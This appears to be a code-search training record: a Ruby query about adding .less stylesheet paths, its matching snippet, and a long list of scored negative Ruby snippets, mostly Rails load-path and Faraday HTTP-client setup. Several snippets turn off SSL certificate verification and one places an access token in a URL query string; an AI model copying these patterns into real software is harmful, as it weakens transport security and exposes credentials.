"0.49461395", "0.4941604", "0.49341342", "0.49316052", "0.4929192", "0.49231404", "0.49226275", "0.49225664", "0.492115", "0.4918738", "0.49128965", "0.4909553", "0.49038988", "0.49002108", "0.489786", "0.48977995", "0.4891769", "0.48876488" ]
0.0
-1
REFACTOR Move this into Faraday REFACTOR Rename this something more intentionrevealing
def faraday_with_default_adapter(base, &block) Faraday.new(base) { | connection | yield connection # IMPORTANT Without this line, nothing will happen. connection.adapter Faraday.default_adapter } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def faraday_builder(builder)\n end", "def faraday\n @faraday ||= Faraday.new ssl: { verify: ssl_verify } do |faraday|\n authenticate!(faraday)\n\n faraday.request(:retry, max: retries) if retries\n faraday.options.timeout = read_timeout if read_timeout\n faraday.options.open_timeout = open_timeout if open_timeout\n\n faraday.request :url_encoded # Form-encode POST params\n faraday.response :raise_error\n faraday.use :http_cache, store: http_cache, serializer: Marshal\n faraday.use Faraday::CacheHeaders\n faraday.response :json, content_type: /\\bjson$/\n faraday.adapter :excon\n end\n end", "def faraday\n mutex.synchronize do\n @faraday ||= create_faraday\n end\n end", "def shopify_connection\n Faraday.new(url: SHOPIFY_BASE_URL, ssl: { verify: false }) do |faraday|\n faraday.request :url_encoded # form-encode POST params\n faraday.adapter Faraday.default_adapter # make requests with Net::https\n end\nend", "def shopify_connection\n Faraday.new(url: SHOPIFY_BASE_URL, ssl: { verify: false }) do |faraday|\n faraday.request :url_encoded # form-encode POST params\n faraday.adapter Faraday.default_adapter # make requests with Net::https\n end\nend", "def create_faraday\n faraday_options = options.slice(:headers, :params)\n if options[:insecure]\n faraday_options[:ssl] = { verify: false }\n end\n Faraday.new(nil, faraday_options) do\n # options\n if options[:url_prefix]\n _1.url_prefix = options[:url_prefix]\n end\n _1.options.timeout = options[:timeout]\n\n #\n # middleware that runs on both disk/network requests\n #\n\n # cookie middleware\n _1.use :cookie_jar\n\n # auto-encode form bodies\n _1.request :url_encoded\n\n # Before httpdisk so each redirect segment is cached\n # Keep track of redirect status for logger\n _1.response :follow_redirects, callback: ->(_old_env, new_env) { new_env[:redirect] = true }\n\n #\n # httpdisk\n #\n\n httpdisk_options = options.slice(:dir, :expires, :force, :force_errors, :ignore_params, :utf8)\n _1.use :httpdisk, httpdisk_options\n\n #\n # middleware below only used it httpdisk uses the network\n #\n\n # rate limit\n rate_limit = options[:rate_limit]\n _1.request :rate_limiter, interval: rate_limit\n\n # After httpdisk so that only non-cached requests are logged.\n # Before retry so that we don't log each retry attempt.\n _1.response :logger, nil, formatter: Middleware::LogFormatter if !options[:silent]\n\n retry_options = {\n max_interval: rate_limit, # very important, negates Retry-After: 86400\n max: options[:retries],\n methods: %w[delete get head options patch post put trace],\n retry_statuses: (500..600).to_a,\n retry_if: ->(_env, _err) { true },\n }\n _1.request :retry, retry_options\n end\n end", "def private; end", "def mobileMoneyReq(customer_number, amount, callback_url, client_id, nw, trans_type,v_num,u_code,ref,client_key,secret_key)\n \n\n \n url = 'https://orchard-api.anmgw.com'\n url_endpoint = '/sendRequest'\n conn = Faraday.new(url: url, headers: REQHDR, ssl: { verify: false }) do |f|\n f.response :logger\n f.adapter Faraday.default_adapter\n end\n \n \n ts=Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n puts\n puts \"Hello world... with the network #{nw}\"\n puts\n payload={\n :customer_number => customer_number,\n :reference => ref,\n :amount => amount,\n :exttrid => u_code,\n :nw => nw,\n :trans_type => trans_type,\n :callback_url => callback_url,\n :ts => ts,\n :service_id => client_id,\n :voucher_code=> v_num\n }\n puts\n puts \"Hello world Two...\"\n puts\n json_payload=JSON.generate(payload)\n msg_endpoint=\"#{json_payload}\"\n puts\n puts \"JSON payload: #{json_payload}\"\n puts\n def computeSignature(secret, data)\n digest=OpenSSL::Digest.new('sha256')\n signature = OpenSSL::HMAC.hexdigest(digest, secret.to_s, data)\n return signature\n end\n signature=computeSignature(secret_key, json_payload)\n begin\n resp = conn.post do |req|\n req.url url_endpoint\n req.options.timeout = 30 # open/read timeout in seconds\n req.options.open_timeout = 30 # connection open timeout in seconds\n req['Authorization'] = \"#{client_key}:#{signature}\"\n req.body = json_payload\n end\n \n bidy = resp.body\n \n puts bidy.inspect\n puts resp \n puts resp.body \n puts \"Result from AMFP: #{resp.body}\"\n puts\n phone_numbers = validatePhoneNumber(customer_number)\n logger.info sendmsg(phone_numbers,\"Kindly Authorize payment from your momo wallet\")\n \n resp.body\n rescue\n puts \"errorrrrrrrrrrrrr\"\n end\n \n end", "def scsb_conn\n Faraday.new(url: SCSB_URL) do |faraday|\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\nend", "def initialize(hash={})\n super(\"#{hash[:base_url] || \"http://127.0.0.1:5984\" }/#{hash[:database] || \"huboard\"}\") do |builder|\n yield builder if block_given?\n builder.use FaradayMiddleware::EncodeJson\n builder.use FaradayMiddleware::Mashify\n builder.use FaradayMiddleware::ParseJson\n builder.request :retry, max: 4,\n exceptions: [\n Errno::ETIMEDOUT,\n 'Timeout::Error',\n Faraday::TimeoutError,\n Faraday::ConnectionFailed,\n ]\n builder.use Timeout\n # builder.use Ghee::Middleware::UriEscape\n builder.use Faraday::HttpCache, store: Rails.cache, logger: Logger.new(STDOUT), serializer: Marshal\n builder.adapter Faraday.default_adapter\n\n builder.request :url_encoded\n end\n end", "def faraday_redirect\n @faraday_redirect ||= faraday_base do |conn|\n conn.request :json\n\n conn.request(:retry, RETRY_OPTIONS)\n conn.request(:gitlab_error_callback, ERROR_CALLBACK_OPTIONS)\n conn.adapter :net_http\n end\n end", "def transport; end", "def transport; end", "def transport; end", "def setup_connection\n Faraday.new(:url => @api_url) do |connection|\n #connection.request :url_encoded\n connection.request :json\n #connection.request :retry\n\n connection.response :logger if debug?\n connection.response :raise_error\n connection.response :json, :content_type => /\\bjson$/\n\n connection.use :instrumentation\n connection.adapter Faraday.default_adapter\n end\n end", "def service_request(service); end", "def create_connection\n\t\t@connection = Faraday.new(:url => @base_url) do |faraday|\n\t\t\tfaraday.headers['Accept'] = 'application/json'\n\t\t\tfaraday.adapter Faraday.default_adapter\n\t\tend\n\tend", "def parse_faraday(response)\n JSON.parse(response)\n end", "def leeway; end", "def leeway; end", "def meta_header_adapter\n if @transport_class == Transport::HTTP::Faraday\n version = '0'\n adapter_version = case @arguments[:adapter]\n when :patron\n version = Patron::VERSION if defined?(::Patron::VERSION)\n {pt: version}\n when :net_http\n version = if defined?(Net::HTTP::VERSION)\n Net::HTTP::VERSION\n elsif defined?(Net::HTTP::HTTPVersion)\n Net::HTTP::HTTPVersion\n end\n {nh: version}\n when :typhoeus\n version = Typhoeus::VERSION if defined?(::Typhoeus::VERSION)\n {ty: version}\n when :httpclient\n version = HTTPClient::VERSION if defined?(HTTPClient::VERSION)\n {hc: version}\n when :net_http_persistent\n version = Net::HTTP::Persistent::VERSION if defined?(Net::HTTP::Persistent::VERSION)\n {np: version}\n else\n {}\n end\n {fd: Faraday::VERSION}.merge(adapter_version)\n elsif defined?(Transport::HTTP::Curb) && @transport_class == Transport::HTTP::Curb\n {cl: Curl::CURB_VERSION}\n elsif defined?(Transport::HTTP::Manticore) && @transport_class == Transport::HTTP::Manticore\n {mc: Manticore::VERSION}\n end\n end", "def faraday_adapter\n Faraday.default_adapter\n end", "def fax_response(fax_requests_queue_id)\n begin\n response = send_fax_status(fax_requests_queue_id)\n if response[\"RecipientFaxStatusItems\"].present?\n fax_record = FaxRecord.find_by_send_fax_queue_id(fax_requests_queue_id)\n parse_response = response[\"RecipientFaxStatusItems\"][0]\n unless parse_response['ResultCode'] == 6000 && fax_record.resend <= ENV['MAX_RESEND'].to_i\n HelperMethods::Logger.app_logger('info', \"fax_response: #{parse_response}\")\n if parse_response['ResultCode'] == 0\n fax_duration = calculate_duration(fax_record.client_receipt_date, (Time.parse(parse_response['FaxDateUtc'])))\n result_message = 'Success'\n else\n result_message = parse_response['ResultMessage']\n fax_duration = 0.0\n end\n fax_record.update_attributes(\n send_fax_queue_id: parse_response['SendFaxQueueId'],\n is_success: parse_response['IsSuccess'],\n error_code: parse_response['ErrorCode'],\n recipient_name: parse_response['RecipientName'],\n recipient_fax: parse_response['RecipientFax'],\n tracking_code: parse_response['TrackingCode'],\n fax_date_utc: parse_response['FaxDateUtc'],\n fax_id: parse_response['FaxId'],\n pages: parse_response['Pages'],\n attempts: parse_response['Attempts'],\n sender_fax: parse_response['SenderFax'],\n barcode_items: parse_response['BarcodeItems'],\n fax_success: parse_response['FaxSuccess'],\n out_bound_fax_id: parse_response['OutBoundFaxId'],\n fax_pages: parse_response['FaxPages'],\n fax_date_iso: parse_response['FaxDateIso'],\n watermark_id: parse_response['WatermarkId'],\n message: response['message'],\n result_code: parse_response['ResultCode'],\n result_message: result_message,\n fax_duration: fax_duration\n )\n else\n unless fax_record.in_any_queue?\n HelperMethods::Logger.app_logger('info', \"fax_response: Resend fax with ID = #{fax_record.id}\")\n fax_record.update_attributes(resend: (fax_record.resend+1))\n ResendFaxJob.perform_in((ENV['DELAY_RESEND'].to_i).minutes, fax_record.id)\n end\n end\n else\n HelperMethods::Logger.app_logger('info', 'fax_response: no response found')\n end\n rescue Exception => e\n HelperMethods::Logger.app_logger('error', \"fax_response: #{e.message}\")\n end\n end", "def initialize\n @use_ssl = false\n @http_adapter = Yummly::FaradayAdapter\n end", "def resolver; end", "def wrapper; end", "def connection\n @connection ||= Faraday.new(api_endpoint) do |http|\n http.headers[:accept] = \"application/json, */*\"\n http.headers[:user_agent] = user_agent\n\n http.request :authorization, :Bearer, -> { token_store.get_token }\n http.request :json\n\n http.use Keap::REST::Response::RaiseError\n\n http.response :dates\n http.response :json, content_type: \"application/json\"\n # http.response :logger do |logger|\n # logger.filter(/(Bearer) (\\w+)/, '\\1 [FILTERED]')\n # end\n\n http.adapter adapter, @stubs\n end\n end", "def default_middleware\n Proc.new do |builder|\n builder.use Faraday::Request::Multipart\n builder.use Faraday::Request::UrlEncoded\n builder.use Yandex::Webmaster::Request::OAuth2, config.oauth_token\n\n builder.use Faraday::Response::Logger if ENV['DEBUG']\n builder.use Yandex::Webmaster::Response::Hashify\n # builder.use Yandex::Webmaster::Response::RaiseError\n \n builder.adapter config.adapter\n end\n end", "def merchant_endpoint=(_arg0); end", "def endpoint; end", "def endpoint; end", "def endpoint; end", "def endpoint; end", "def http; end", "def connection\n options = {\n :headers => {'Accept' => \"application/#{SponsorPay.format}; charset=utf-8\", \n 'User-Agent' => SponsorPay.user_agent, \n 'Connection' => 'Keep-Alive'}, \n #'Accept-Encoding' => 'gzip ...' # => automatically added by net::http\n :ssl => {:verify => false},\n :url => SponsorPay.endpoint,\n }\n Faraday::Connection.new(options) do |connection|\n connection.use FaradayMiddleware::Mashify\n connection.use Faraday::Response::ParseJson if SponsorPay.format.to_s.downcase == 'json'\n connection.adapter SponsorPay.adapter\n end\n end", "def preflight; end", "def parse_response!; end", "def merchant_end_point; end", "def build_connection\n Faraday.new(url) do |f|\n f.request :retry, max: 2, interval: 0.1, backoff_factor: 2\n\n f.headers['Content-Type'] = content_type\n f.headers['User-Agent'] = user_agent\n\n f.options.timeout = timeout\n f.options.open_timeout = open_timeout\n\n f.adapter :typhoeus\n end\n end", "def connection\n Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.request :json\n\n faraday.response :raise_error, error_prefix: service_name\n faraday.response :caseflow_errors\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "def faraday_connection(url=nil)\n url ||= self.root\n key = \"faraday_connection_#{url}\"\n return Thread.current[key] if Thread.current[key]\n\n fc = Faraday.new(:url => url)\n fc.headers.merge!('User-Agent' => \"HyperResource #{HyperResource::VERSION}\")\n fc.headers.merge!(self.headers || {})\n if ba=self.auth[:basic]\n fc.basic_auth(*ba)\n end\n Thread.current[key] = fc\n end", "def initialize\n super\n require 'multi_json'\n require 'google/apis/bigquery_v2'\n require 'googleauth'\n require 'active_support/json'\n require 'active_support/core_ext/hash'\n require 'active_support/core_ext/object/json'\n\n # MEMO: signet-0.6.1 depend on Farady.default_connection\n Faraday.default_connection.options.timeout = 60\n end", "def conn\n @conn ||= Faraday.new(base_url, headers: @headers, ssl: ssl_options, request: timeout) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n faraday.use EVSS::ErrorMiddleware\n faraday.response :betamocks if @use_mock\n faraday.response :snakecase, symbolize: false\n faraday.response :json_parser\n faraday.use :remove_cookies\n faraday.adapter :httpclient\n end\n end", "def scsb_test_conn\n conn = Faraday.new(url: SCSB_TEST_URL) do |faraday|\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\n conn\nend", "def create_connection(accept_type='application/json')\n @connection = Faraday.new(:url => @base_url, :ssl => { :verify => @ssl_verify }) do |faraday|\n faraday.headers['Accept'] = accept_type\n faraday.request :att_multipart\n faraday.adapter Faraday.default_adapter\n end\n end", "def faraday_safe(faraday_method, url)\n around_request.call(faraday_method, url) do\n faraday.send(faraday_method, url)\n end\n rescue Faraday::ConnectionFailed => exception\n raise($!, exception.message)\n rescue Faraday::TimeoutError => exception\n timeout_error_with_message(exception, url)\n rescue Faraday::ClientError => exception\n client_error_with_message(exception, url)\n end", "def peer; end", "def connection(raw=false)\n options = {\n :headers => {'Accept' => \"application/#{format}\", 'User-Agent' => user_agent},\n :proxy => proxy,\n :ssl => {:verify => false},\n :url => endpoint,\n }\n\n Faraday.new(options) do |builder|\n builder.use Faraday::Request::JohnHancockSignature, authentication if authenticated?\n builder.use Faraday::Request::MultiJson\n builder.use Faraday::Response::RaiseHttp4xx\n builder.use Faraday::Response::Yolkify unless raw\n unless raw\n case format.to_s.downcase\n when 'json'\n builder.use Faraday::Response::ParseJson\n when 'xml'\n builder.use Faraday::Response::ParseXml\n end\n end\n builder.use Faraday::Response::RaiseHttp5xx\n# builder.use VCR::Middleware::Faraday do |cassette|\n# cassette.name 'faraday_example'\n# cassette.options :record => :new_episodes, :match_requests_on => [:method, :uri, :headers]\n# end if defined?(VCR)\n builder.adapter(adapter)\n end\n end", "def merchant_end_point=(_arg0); end", "def connection\n @connection ||= Faraday.new(faraday_options) do |builder|\n builder.use Faraday::Request::UrlEncoded\n # builder.use QuickbooksOnlineRuby::Middleware::Mashify, nil, @options\n builder.response :json\n\n if QuickbooksOnlineRuby.log?\n builder.use QuickbooksOnlineRuby::Middleware::Logger,\n QuickbooksOnlineRuby.configuration.logger,\n @options\n end\n\n builder.adapter @options[:adapter]\n end\n end", "def refutal()\n end", "def compression_client; end", "def exchange_code; end", "def initialize(faraday_response)\n @response = faraday_response\n end", "def connection(options={})\r\n Faraday.new(:url => 'http://www.femexfut.org.mx/portalv2/webservices/ws_portal_v2.aspx/', :proxy=>\"\") do |builder|\r\n builder.use Faraday::Response::Mashify\r\n builder.use Faraday::Response::ParseXml\r\n builder.use Faraday::Response::Logger \r\n builder.adapter Faraday.default_adapter\r\n end\r\n end", "def faraday_options(options)\n {\n url: options[:url] + options[:path],\n proxy: faraday_proxy(options),\n ssl: faraday_ssl(options),\n headers: faraday_headers(options),\n request: faraday_request(options),\n }\n end", "def response_from_service\n\n end", "def transfer; end", "def transfer; end", "def connection(headers: {}, parse_json: true)\n super do |faraday|\n faraday.adapter(:test, stubs)\n end\n end", "def bi_service\n end", "def endpoint=(_arg0); end", "def initialize\n super\n require 'multi_json'\n require 'google/apis/bigquery_v2'\n require 'googleauth'\n\n # MEMO: signet-0.6.1 depend on Farady.default_connection\n Faraday.default_connection.options.timeout = 60\n end", "def from_api?; false end", "def build_connection\n connection = Faraday.new(url: base_url)\n connection.adapter *connection_adapter\n end", "def faraday_options(options)\n {\n url: options[:url] + options[:path],\n proxy: faraday_proxy(options),\n ssl: faraday_ssl(options),\n headers: faraday_headers(options),\n request: faraday_request(options),\n }\n end", "def request_data; end", "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n faraday.request :json\n\n faraday.response :betamocks if use_mocks?\n faraday.response :snakecase, symbolize: false\n faraday.response :json, content_type: /\\bjson/\n\n faraday.adapter Faraday.default_adapter\n end\n end", "def initialize(faraday_response)\n @faraday_env = faraday_response.env\n @status = faraday_env.status\n @body = faraday_env.body\n @headers = faraday_response.headers\n end", "def initialize(**parent_params)\n super\n\n @client = Faraday.new do |faraday|\n faraday.use FaradayMiddleware::FollowRedirects\n faraday.adapter Faraday.default_adapter\n end\n @url_template = self.class.construct_template\n end", "def connection\n Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.request :json\n\n faraday.response :raise_error, error_prefix: service_name\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "def internal; end", "def merchant_endpoint; end", "def weber; end", "def response_parser; end", "def schubert; end", "def faraday_options\n cfg_get(:faraday_options)\n end", "def connection\n @connection ||= Faraday.new(url: api_endpoint) do |faraday|\n faraday.use Faraday::Request::UrlEncoded\n faraday.use Redd::Response::RaiseError\n faraday.use Redd::Response::ParseJson\n faraday.adapter Faraday.default_adapter\n\n faraday.headers = headers\n end\n end", "def connection(base='https://api.groupme.com/')\n Faraday.new base do |f|\n f.request :multipart\n f.request :json\n f.headers[:user_agent] = GroupMe::USER_AGENT\n f.headers[\"X-Access-Token\"] = @token\n\n # f.response :logger\n f.response :mashify\n f.response :json, :content_type => /\\bjson$/\n\n f.adapter Faraday.default_adapter\n end\n end", "def crossref_init\n @crossref_uri ||= 'http://data.crossref.org/'\n @crossref_api ||= Faraday.new(url: @crossref_uri) do |conn|\n # conn.use FaradayMiddleware::FollowRedirects, limit: 3\n # conn.use Faraday::Response::RaiseError # raise exceptions on 40x, 50x\n # conn.request :logger, @config.logger\n conn.request :retry, max: 2, interval: 0.5,\n interval_randomness: 0.5, backoff_factor: 2\n # conn.request :json\n # conn.response :json, :content_type => JSON_CONTENT\n conn.adapter :httpclient\n end\n @crossref_api.options.timeout = 90\n @crossref_api.options.open_timeout = 10\n headers = { accept: JSON_CROSSREF }\n @crossref_api.headers.merge!(headers)\n end", "def apis; end", "def connection\n Faraday.new(url:, headers:) do |conn|\n conn.request :json\n conn.use :breakers\n conn.use Faraday::Response::RaiseError\n conn.response :raise_error, error_prefix: service_name\n conn.response :json\n conn.response :betamocks if mock_enabled?\n conn.adapter Faraday.default_adapter\n end\n end", "def faraday_configuration(config)\n config.configure_faraday do |conn|\n conn.request :url_encoded\n conn.use :instrumentation\n conn.response :logger\n conn.response :follow_redirects\n end\n end", "def create_fb_url_with_creds(indv_u_id, ac_token, decoded_state: nil)\n url = FACEBOOK_URL + \"?individual_user_id=#{indv_u_id}&secret=#{ac_token}\"\n if decoded_state\n url += \"pathway=#{decoded_state['pathway']}\" +\n \"&gift_template_id=#{decoded_state['gift_template_id']}\" \n end\n \n #Creates facebook oauth dialog url\n #--PE 10/30/14\n def create_oauth_url(cb_url, encoded_auth_state)\n oauth_url = \"https://www.facebook.com/dialog/oauth/?client_id=\" +\n \"#{APP_ID}&redirect_uri=#{cb_url}&state=#{encoded_auth_state}\"\n end\n\n #########\n protected\n ######### \n\n #Renew the access_token after API failure --PE July 17, 2012\n def rescue_api_error\n session.delete(:access_token)\n\t session.delete(:individual_user_id)\n\t oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, AUTH_CALLBACK)\n\t redirect_to(:action => \"exit_portal\", :url => oauth.url_for_oauth_code)\n end\n\n #Redirect to app index page after connection is reset --PE July 23, 2012\n def rescue_connection_reset\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (connection reset). \" +\n \"Please try again.\"\n end\n\n #Redirect to app index page after undefined method errors --PE July 23, 2012\n def rescue_undefined_method\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (undefined method). \" +\n \"Please try again.\"\n end\nend", "def http_call(payload); end", "def consume_url; end", "def patch_initialize\n ::Faraday::Connection.module_eval do\n alias_method :initialize_original, :initialize\n\n def initialize(url = nil, options = nil, &block)\n # initialize the connection as usual\n initialize_original(url, options, &block)\n\n # before we let go, add the Faraday tracer to the beginning of the stack\n @builder.insert(0, ::Faraday::Tracer)\n end\n end\n end", "def service_endpoint; end", "def service_endpoint; end", "def coming_soon\n end", "def coming_soon\n end", "def api_call(payload); end", "def mk_conn(path, headers = {})\n url = format('%s://%s%s', net[:scheme], net[:endpoint],\n [net[:api_base], path].uri_concat)\n Faraday.new(url: Addressable::URI.encode(url),\n headers: net[:headers].merge(headers))\n end", "def connection\n Faraday.new(:url => host) do |faraday|\n #faraday.response :logger # log requests to STDOUT\n faraday.response :xml, :content_type => /\\bxml$/\n faraday.adapter Faraday.default_adapter # make requests with Net::HTTP\n end\n end", "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.request :multipart\n faraday.request :json\n\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.request :multipart\n faraday.request :json\n\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "def faraday_connection(url = nil)\n url ||= URI.join(root, href)\n\n Faraday.new(faraday_options.merge(url: url)) do |builder|\n builder.headers.merge!(headers || {})\n builder.headers['User-Agent'] = Aptible::Resource.configuration\n .user_agent\n\n if (ba = auth[:basic])\n builder.basic_auth(*ba)\n end\n\n builder.request :url_encoded\n builder.request :retry\n builder.adapter Faraday.default_adapter\n end\n end", "def parent_api; end", "def parent_api; end", "def build_response(connection, request); end" ]
[ "0.6377548", "0.5850608", "0.562706", "0.5443524", "0.5443524", "0.54413295", "0.5253775", "0.5184856", "0.51795983", "0.51782435", "0.5157986", "0.51531726", "0.51531726", "0.51531726", "0.51385236", "0.5100713", "0.5086503", "0.50772566", "0.5066887", "0.5066887", "0.5052726", "0.5046392", "0.502483", "0.50197035", "0.5003676", "0.49943912", "0.49620083", "0.49576622", "0.49558714", "0.49531978", "0.49531978", "0.49531978", "0.49531978", "0.4946412", "0.49398252", "0.49216074", "0.49017635", "0.48971382", "0.48945507", "0.48842964", "0.48819774", "0.4879922", "0.48774648", "0.48717043", "0.48698598", "0.48634207", "0.48596928", "0.48579583", "0.4855456", "0.48550153", "0.48494598", "0.4849312", "0.48477596", "0.48470575", "0.4842778", "0.4832758", "0.4830415", "0.48277727", "0.48277727", "0.4814995", "0.48112246", "0.4806926", "0.48068765", "0.48027194", "0.4801089", "0.47985744", "0.4784966", "0.47819427", "0.47727183", "0.47680178", "0.4767984", "0.47673476", "0.47633183", "0.47591507", "0.47578663", "0.4755057", "0.47425938", "0.47384387", "0.47340837", "0.4731328", "0.47273403", "0.47244087", "0.47169483", "0.47021872", "0.46921855", "0.46877682", "0.46865946", "0.46778554", "0.46778554", "0.46612346", "0.46612346", "0.4655367", "0.46505374", "0.4649787", "0.46469358", "0.46469358", "0.46422186", "0.46374112", "0.46374112", "0.46323818" ]
0.501084
24
Add aditional paths where the plugin should be looking for .less files with `LessForRails.paths << "my/path/here"`.
def paths @paths ||= [STYLESHEETS_PATH] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n end\n end", "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n\n true\n end\n end", "def append_paths\n @append_paths ||= begin\n file = method(:components).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path file\n Wedge::Opal.append_path Dir.pwd\n end\n end", "def add_gem_paths; end", "def paths\n @paths ||= begin\n paths = super\n paths.add 'config/routes.rb', with: 'routes.rb'\n paths.add 'config/locales', with: 'locales', glob: \"**/*.{rb,yml}\"\n paths\n end\n end", "def add_plugin_load_paths\n configuration.add_plugin_paths(extension_loader.paths(:plugin))\n super\n ActiveSupport::Dependencies.autoload_once_paths -= extension_loader.paths(:load)\n end", "def source_paths() = [views_path]", "def prepend_paths(*paths)\n self.paths.unshift(*paths)\n end", "def append_paths(*paths)\n self.paths.push(*paths)\n end", "def add_sass_load_path!(*paths)\n Sass.load_paths << File.join(*paths)\n end", "def add_plugin_paths(install_dir)\n Dir.glob(File.join([install_dir, '*'])).each do |mod|\n $LOAD_PATH << File.join([mod, 'lib'])\n end\n end", "def add_paths(paths)\n @paths.update(paths)\n end", "def override_source_paths(*paths)\n # Using string with instance_eval because block doesnt have access to path at runtime.\n self.class.instance_eval %{\n def self.source_paths\n #{paths.flatten.inspect}\n end\n }\n end", "def append_path(*paths)\n @load_paths.push(*(paths.flatten))\n end", "def add_template_repository_to_source_path\n source_paths.unshift(File.dirname(__FILE__))\nend", "def cheap_themes_setup_view_paths #:nodoc:\n theme = self.send(self.class.theme_finder_method)\n self.view_paths = ::ActionController::Base.view_paths.dup.unshift(\"#{RAILS_ROOT}/themes/#{theme}/views\") \\\n if theme and theme =~ /^[\\w\\.\\-\\+]+$/i\n end", "def source_paths\n[File.join(File.expand_path(File.dirname(__FILE__)),'rails_root')]\nend", "def add_to_dependency_load_paths #:nodoc:\n Dependencies.load_paths.concat(load_paths)\n end", "def default_plugin_paths_with_test_helper\n paths = default_plugin_paths_without_test_helper\n paths << \"#{HELPER_RAILS_ROOT}/vendor/plugins\"\n end", "def inject_into_load_path\n \n # Add ALL paths under the engine root to the load path\n %w(app/controllers \n app/helpers \n app/models\n components\n lib).collect { |dir|\n File.join(root, dir)\n }.select { |dir| File.directory?(dir) }.each do |path|\n insert_into_load_path(path) \n end\n end", "def plugin_dir(path:)\n add option: \"-plugin-dir=#{path}\"\n end", "def ri_paths &block\n RDoc::RI::Paths.each true, true, true, :all, *@extra_doc_dirs, &block #TODO: pass extra_dirs\n end", "def add_plugin_path(path)\n $LOAD_PATH << path\n end", "def helpers_paths; end", "def helpers_paths; end", "def helpers_paths; end", "def helpers_paths; end", "def paths\n @paths ||= [\"#{Rails.root}/public/stylesheets\"]\n end", "def add_view_paths\n page_type_paths.each do |path|\n ActionController::Base.append_view_path path\n end\n end", "def source_paths\n [__dir__]\nend", "def source_paths\n [__dir__]\nend", "def require_paths\n return raw_require_paths unless have_extensions?\n\n [extension_dir].concat raw_require_paths\n end", "def require_paths; end", "def require_paths; end", "def generate_require_paths; end", "def extra_load_paths\n extras = $LOAD_PATH.dup\n [ 'sitedir',\n 'sitelibdir',\n 'sitearchdir',\n 'rubylibdir',\n 'archdir' ].each {\n |var|\n extras.delete(Config::CONFIG[var]) { raise }\n }\n extras.delete('.')\n extras\n end", "def source_paths\n Array(super) +\n [File.join(File.expand_path(File.dirname(__FILE__)),'rails_root')] +\n [File.join(File.expand_path(File.dirname(__FILE__)),'rails_root', 'config')]\nend", "def additional_folders\n ['lib']\n end", "def source_paths\n Array(super) + [File.join(File.expand_path(File.dirname(__FILE__)),'rails_root')]\nend", "def paths\n @paths ||= begin\n paths = super\n paths.add 'config/secrets', with: Ecrire::Theme.path + 'secrets.yml'\n paths.add 'config/database', with: Ecrire::Theme.path + 'secrets.yml'\n paths.add 'config/routes.rb', with: 'routes.rb'\n paths.add 'config/locales', with: 'locales', glob: \"**/*.{rb,yml}\"\n\n paths.add 'lib/tasks', with: 'tasks', glob: '**/*.rake'\n paths\n end\n end", "def source_paths\n Array(super) + [__dir__]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def helpers_paths=(_arg0); end", "def helpers_paths=(_arg0); end", "def add_extension_path(path)\n validate_extension(path)\n @options[:extension_paths] ||= []\n @options[:extension_paths] << path\n end", "def add_gem_paths\n require 'rubygems'\n gem_paths = []\n YARD::GemIndex.each do |spec|\n yfile = Registry.yardoc_file_for_gem(spec.name)\n next if yfile.nil?\n\n if spec.name =~ /^yard-doc-/\n gem_paths.unshift(yfile)\n else\n gem_paths.push(yfile)\n end\n end\n @search_paths += gem_paths\n rescue LoadError\n nil # noop\n end", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def add_plugin_load_paths\r\n plugins.each do |plugin|\r\n plugin.load_paths.each do |path|\r\n $LOAD_PATH.insert(application_lib_index + 1, path)\r\n\r\n ActiveSupport::Dependencies.load_paths << path\r\n\r\n unless configuration.reload_plugins?\r\n ActiveSupport::Dependencies.load_once_paths << path\r\n end\r\n end\r\n end\r\n\r\n $LOAD_PATH.uniq!\r\n end", "def source_paths\n Array(super) + \n [File.join(File.expand_path(File.dirname(__FILE__)),'rails_root')]\nend", 